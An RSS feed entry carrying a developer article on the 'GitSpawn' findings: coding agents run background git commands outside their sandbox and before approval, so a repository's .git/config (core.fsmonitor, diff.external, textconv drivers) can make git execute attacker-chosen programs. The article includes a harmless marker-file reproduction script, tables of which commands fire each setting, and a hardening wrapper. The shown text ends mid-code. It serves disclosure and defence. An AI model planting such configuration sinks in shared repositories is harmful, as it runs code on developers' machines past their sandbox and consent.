<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: hugginf_expert</title>
    <description>The latest articles on DEV Community by hugginf_expert (@ginigenai_hp_0ae441ead91f).</description>
    <link>https://dev.to/ginigenai_hp_0ae441ead91f</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4163332%2F385892ee-c104-4429-b108-68e9054a6f47.png</url>
      <title>DEV Community: hugginf_expert</title>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ginigenai_hp_0ae441ead91f"/>
    <language>en</language>
    <item>
      <title>Git Ran the Repo's Program Before Any Prompt: What GitSpawn Teaches Agent Builders About Background Context Calls</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Thu, 19 Nov 2026 14:23:13 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/git-ran-the-repos-program-before-any-prompt-what-gitspawn-teaches-agent-builders-about-background-203a</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/git-ran-the-repos-program-before-any-prompt-what-gitspawn-teaches-agent-builders-about-background-203a</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Manifold Security's GitSpawn research (published September 1, 2026, by Francisco Rosales) reports eight findings across seven coding agents. Each agent runs &lt;code&gt;git&lt;/code&gt; in the background to collect repository context, and that call runs outside the sandbox and before any approval prompt.&lt;/li&gt;
&lt;li&gt;The sink is a git setting that names a program. The headline one is &lt;code&gt;core.fsmonitor&lt;/code&gt;, read from the repository's own &lt;code&gt;.git/config&lt;/code&gt;. Any git command that refreshes the index runs it. In the write-up, four of the eight findings were still unpatched at publication.&lt;/li&gt;
&lt;li&gt;I reproduced the mechanism locally with real git processes and a harmless marker script. &lt;code&gt;core.fsmonitor&lt;/code&gt; fired on 2 of 4 common read-only commands, while &lt;code&gt;diff.external&lt;/code&gt; and a &lt;code&gt;textconv&lt;/code&gt; driver each fired on &lt;code&gt;git diff&lt;/code&gt;. Disabling only &lt;code&gt;core.fsmonitor&lt;/code&gt; blocked 1 of 3 sinks on &lt;code&gt;git diff&lt;/code&gt;. Adding &lt;code&gt;--no-ext-diff&lt;/code&gt; and &lt;code&gt;--no-textconv&lt;/code&gt; blocked all 3.&lt;/li&gt;
&lt;li&gt;The lesson is about a category, not one key. Your approval gate protects the commands the model proposes. It does nothing for the commands your own agent runs on its own behalf before the model is ever involved.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What did GitSpawn actually find?
&lt;/h2&gt;

&lt;p&gt;Coding agents want to know what repository they are standing in. So at startup, or on the first message, they run something like &lt;code&gt;git status&lt;/code&gt; or &lt;code&gt;git diff&lt;/code&gt; as an internal subprocess. Nobody approves that call. The model did not ask for it. In most designs it also runs outside the OS sandbox, because it is the agent's own plumbing.&lt;/p&gt;

&lt;p&gt;According to the Manifold write-up, the agents did not strip the repository's own git configuration from these calls. Git has several settings that name a program to run. The one the researchers lead with is &lt;code&gt;core.fsmonitor&lt;/code&gt;, a documented performance hook: when a command refreshes the index, git runs the configured program to ask which files changed. The value comes from &lt;code&gt;.git/config&lt;/code&gt;, and &lt;code&gt;.git/config&lt;/code&gt; ships inside the repository directory.&lt;/p&gt;

&lt;p&gt;The write-up lists trigger points that show how early this happens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Claude Code: startup &lt;code&gt;git status&lt;/code&gt;, before the workspace-trust prompt is accepted. Reported June 26, 2026 and patched in 2.1.196 per the post.&lt;/li&gt;
&lt;li&gt;Goose: &lt;code&gt;git diff&lt;/code&gt; while gathering a review, before any model contact. CVE-2026-72718, severity 7.0, fixed in 1.44.0.&lt;/li&gt;
&lt;li&gt;Qwen Code: startup &lt;code&gt;git status&lt;/code&gt;, before authentication.&lt;/li&gt;
&lt;li&gt;Grok Build: git runs on the first keystroke of a prompt, before anything is sent.&lt;/li&gt;
&lt;li&gt;Hermes Agent: &lt;code&gt;git status&lt;/code&gt; on the first message. CVE-2026-71963 was assigned by VulnCheck.&lt;/li&gt;
&lt;li&gt;Codex and Cursor: covered in the update note as patched.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Delivery matters for judging the risk. Per the post, cloning, fetching or pulling a hostile URL does not carry &lt;code&gt;.git/config&lt;/code&gt; across, so the attacker has to hand over the directory with &lt;code&gt;.git&lt;/code&gt; intact: a &lt;code&gt;.zip&lt;/code&gt;, a shared drive, a sync folder, a USB stick. That is a narrower path than "open any repo", and it is also a very ordinary developer habit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Can I reproduce it without a vulnerable agent?
&lt;/h2&gt;

&lt;p&gt;Yes, and it is worth doing, because the point is git's behavior and not any one product. The script below builds a throwaway repository, plants a sink pointing at a script that appends a line to a marker file, runs a command the way an agent would, and checks whether the marker appeared. It uses &lt;code&gt;GIT_CONFIG_GLOBAL&lt;/code&gt; and &lt;code&gt;GIT_CONFIG_NOSYSTEM&lt;/code&gt; so only the repo's own config is in play.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;GIT_CONFIG_GLOBAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devnull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;GIT_CONFIG_NOSYSTEM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mkdtemp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;"r"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"init"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-q"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;"a.txt"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"one\n"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"user.name=x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"user.email=a@b.c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"add"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"user.name=x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"user.email=a@b.c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"commit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-qm"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"i"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;"a.txt"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"two\n"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# a dirty tree, like real work&lt;/span&gt;

&lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;"marker"&lt;/span&gt;
&lt;span class="n"&gt;hook&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;".git"&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;"hook.sh"&lt;/span&gt;
&lt;span class="n"&gt;hook&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"#!/bin/sh\necho ran &amp;gt;&amp;gt; '{marker.as_posix()}'\nexit 0\n"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"config"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"core.fsmonitor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hook&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;as_posix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--short"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;# what an agent runs at startup&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"fired:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On git 2.53.0 (Windows build) the marker appears after &lt;code&gt;git status&lt;/code&gt;. Nothing was prompted, nothing was sandboxed, and the process ran with my privileges.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which everyday git commands trigger which sink?
&lt;/h2&gt;

&lt;p&gt;I extended the harness to three sinks and four read-only commands: &lt;code&gt;git status --short&lt;/code&gt;, &lt;code&gt;git diff&lt;/code&gt;, &lt;code&gt;git log --oneline&lt;/code&gt; and &lt;code&gt;git rev-parse HEAD&lt;/code&gt;. A fourth sink, &lt;code&gt;core.pager&lt;/code&gt;, never fired because my harness has no terminal, so I report it as untested rather than safe.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sink in repo config&lt;/th&gt;
&lt;th&gt;status&lt;/th&gt;
&lt;th&gt;diff&lt;/th&gt;
&lt;th&gt;log&lt;/th&gt;
&lt;th&gt;rev-parse&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;core.fsmonitor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;diff.external&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;diff.&amp;lt;driver&amp;gt;.textconv&lt;/code&gt; plus &lt;code&gt;.gitattributes&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522core.fsmonitor%2522%252C%2522diff.external%2522%252C%2522diff.%252A.textconv%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Read-only%2520git%2520commands%2520that%2520fired%2520it%2520%2528of%25204%2529%2522%252C%2522data%2522%253A%255B2%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%2522%2523d9534f%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Which%2520everyday%2520git%2520calls%2520ran%2520the%2520repo%2527s%2520program%2520%2528status%252C%2520diff%252C%2520log%252C%2520rev-parse%2529%2522%252C%2522fontSize%2522%253A18%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A4%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522core.fsmonitor%2522%252C%2522diff.external%2522%252C%2522diff.%252A.textconv%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Read-only%2520git%2520commands%2520that%2520fired%2520it%2520%2528of%25204%2529%2522%252C%2522data%2522%253A%255B2%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%2522%2523d9534f%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Which%2520everyday%2520git%2520calls%2520ran%2520the%2520repo%2527s%2520program%2520%2528status%252C%2520diff%252C%2520log%252C%2520rev-parse%2529%2522%252C%2522fontSize%2522%253A18%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A4%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Bar chart of how many of four read-only git commands fired each config sink" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two things stand out. First, &lt;code&gt;git log&lt;/code&gt; and &lt;code&gt;git rev-parse&lt;/code&gt; are quiet, so an agent that only reads history is lucky, not safe. Second, the textconv row needs a &lt;code&gt;.gitattributes&lt;/code&gt; file in the working tree that maps &lt;code&gt;*.txt&lt;/code&gt; to the driver, while the program itself is named in &lt;code&gt;.git/config&lt;/code&gt;. Anyone scanning only for suspicious files in the working tree would miss the half that lives in &lt;code&gt;.git&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The practical reading: the more useful the context an agent gathers (a diff is the most useful thing to hand a model), the more sinks it walks past.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is disabling core.fsmonitor enough?
&lt;/h2&gt;

&lt;p&gt;This is the question I would put in a design review, because the public mitigation example is a single key: &lt;code&gt;git -c core.fsmonitor=false status&lt;/code&gt;. The write-up itself says other config keys of the same kind also need handling. I tested what a one-key fix buys on &lt;code&gt;git diff&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hardening of the agent's &lt;code&gt;git diff&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;fsmonitor&lt;/th&gt;
&lt;th&gt;diff.external&lt;/th&gt;
&lt;th&gt;textconv&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;-c core.fsmonitor=false&lt;/code&gt; only&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;td&gt;ran&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-c core.fsmonitor=false --no-ext-diff --no-textconv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522No%2520hardening%2522%252C%2522Deny%2520core.fsmonitor%2520only%2522%252C%2522Deny%2520all%2520three%2520sinks%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Config%2520sinks%2520blocked%2520on%2520git%2520diff%2520%2528of%25203%2529%2522%252C%2522data%2522%253A%255B0%252C1%252C3%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Repo-config%2520code%2520execution%2520blocked%2520on%2520git%2520diff%252C%2520out%2520of%25203%2520sinks%2522%252C%2522fontSize%2522%253A24%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A3%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522No%2520hardening%2522%252C%2522Deny%2520core.fsmonitor%2520only%2522%252C%2522Deny%2520all%2520three%2520sinks%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Config%2520sinks%2520blocked%2520on%2520git%2520diff%2520%2528of%25203%2529%2522%252C%2522data%2522%253A%255B0%252C1%252C3%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Repo-config%2520code%2520execution%2520blocked%2520on%2520git%2520diff%252C%2520out%2520of%25203%2520sinks%2522%252C%2522fontSize%2522%253A24%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A3%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Bar chart: config sinks blocked on git diff out of three, by hardening choice" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Denying the one named key blocked 1 of 3. The two extra flags took it to 3 of 3. That is the shape of a denylist problem: the list is right today and short by one entry tomorrow.&lt;/p&gt;

&lt;p&gt;Here is the hardened call as a small wrapper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="no"&gt;SAFE_PREFIX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"core.fsmonitor=false"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;agent_git&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subcmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;extra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;subcmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"diff"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;extra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"--no-ext-diff"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--no-textconv"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
